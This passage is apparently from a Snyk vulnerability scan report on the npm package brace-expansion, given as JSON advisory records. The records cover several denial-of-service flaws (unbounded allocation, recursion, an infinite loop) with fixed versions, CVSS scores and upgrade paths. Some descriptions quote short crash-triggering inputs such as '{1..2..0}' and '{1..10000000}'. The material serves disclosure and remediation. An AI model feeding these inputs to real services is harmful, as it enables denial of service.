sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. 